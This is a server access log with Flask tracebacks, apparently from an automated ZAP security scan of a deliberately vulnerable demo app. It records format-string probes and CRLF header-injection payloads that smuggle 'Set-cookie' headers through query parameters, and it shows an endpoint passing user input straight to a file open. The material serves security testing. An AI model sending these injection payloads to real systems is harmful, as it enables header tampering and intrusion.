172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=k&name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=k&name=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=Set-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a HTTP/1.1" 200 -
[2017-10-18 08:05:21,960] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'Set-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=Set-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%0D%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a HTTP/1.1" 200 -
[2017-10-18 08:05:21,964] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\r\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%0D%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%3F%0D%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a HTTP/1.1" 200 -
[2017-10-18 08:05:21,969] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\r\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%3F%0D%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%3F%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a HTTP/1.1" 200 -
[2017-10-18 08:05:21,973] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%0D%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a%0D%0A HTTP/1.1" 200 -
[2017-10-18 08:05:21,977] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%3F%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=any%3F%0D%0ASet-cookie%3A+Tamper%3Dcadde420-da2c-44fa-baee-eb5afe1ab03a%0D%0A HTTP/1.1" 200 -
[2017-10-18 08:05:21,981] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\r\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153\r\n'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%0D%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153%0D%0A HTTP/1.1" 500 -
[2017-10-18 08:05:21,983] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'any\r\nSet-cookie: Tamper=17b40969-1e45-471c-871d-7c3d51e16153\r\n'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=any%3F%0D%0ASet-cookie%3A+Tamper%3D17b40969-1e45-471c-871d-7c3d51e16153%0D%0A HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=Set-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=Set-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%0D%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%0D%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%3F%0D%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%3F%0D%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%3F%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%3F%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%0D%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864%0D%0A HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%0D%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964%0D%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /mystery?name=any%3F%0D%0ASet-cookie%3A+Tamper%3Da67e06c3-fcc6-4557-bfc4-50d5afd80864%0D%0A HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /robots.txt?query=any%3F%0D%0ASet-cookie%3A+Tamper%3Df4ce4866-1d1d-46c7-bf00-cb98990b3964%0D%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=Set-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%0D%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=Set-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%3F%0D%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%3F%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4 HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%0D%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4%0D%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /sitemap.xml?query=any%3F%0D%0ASet-cookie%3A+Tamper%3D3051e052-642e-48aa-8f9d-f84891a6ccb4%0D%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%3F%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%3F%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998%0D%0A&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=any%3F%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998%0D%0A&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=Set-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%3F%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss1?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3D73d95917-b4d8-4c0e-bb2b-baa44dd5b998%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=Set-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=Set-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%3F%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%3F%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%3F%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2%0D%0A&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b%0D%0A&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2%0D%0A&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=any%3F%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b%0D%0A&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=Set-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=Set-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%3F%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%3F%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss2?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Dc32ccc02-3cd8-45a1-8f39-3dfb237f62f2%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss3?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3D32c24bcf-4b0f-4c9c-98dc-0ae12279ac3b%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=Set-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=Set-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%3F%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%3F%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd%0D%0A&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2%0D%0A&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd%0D%0A&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=Set-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=any%3F%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2%0D%0A&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=Set-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%3F%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2 HTTP/1.1" 200 -
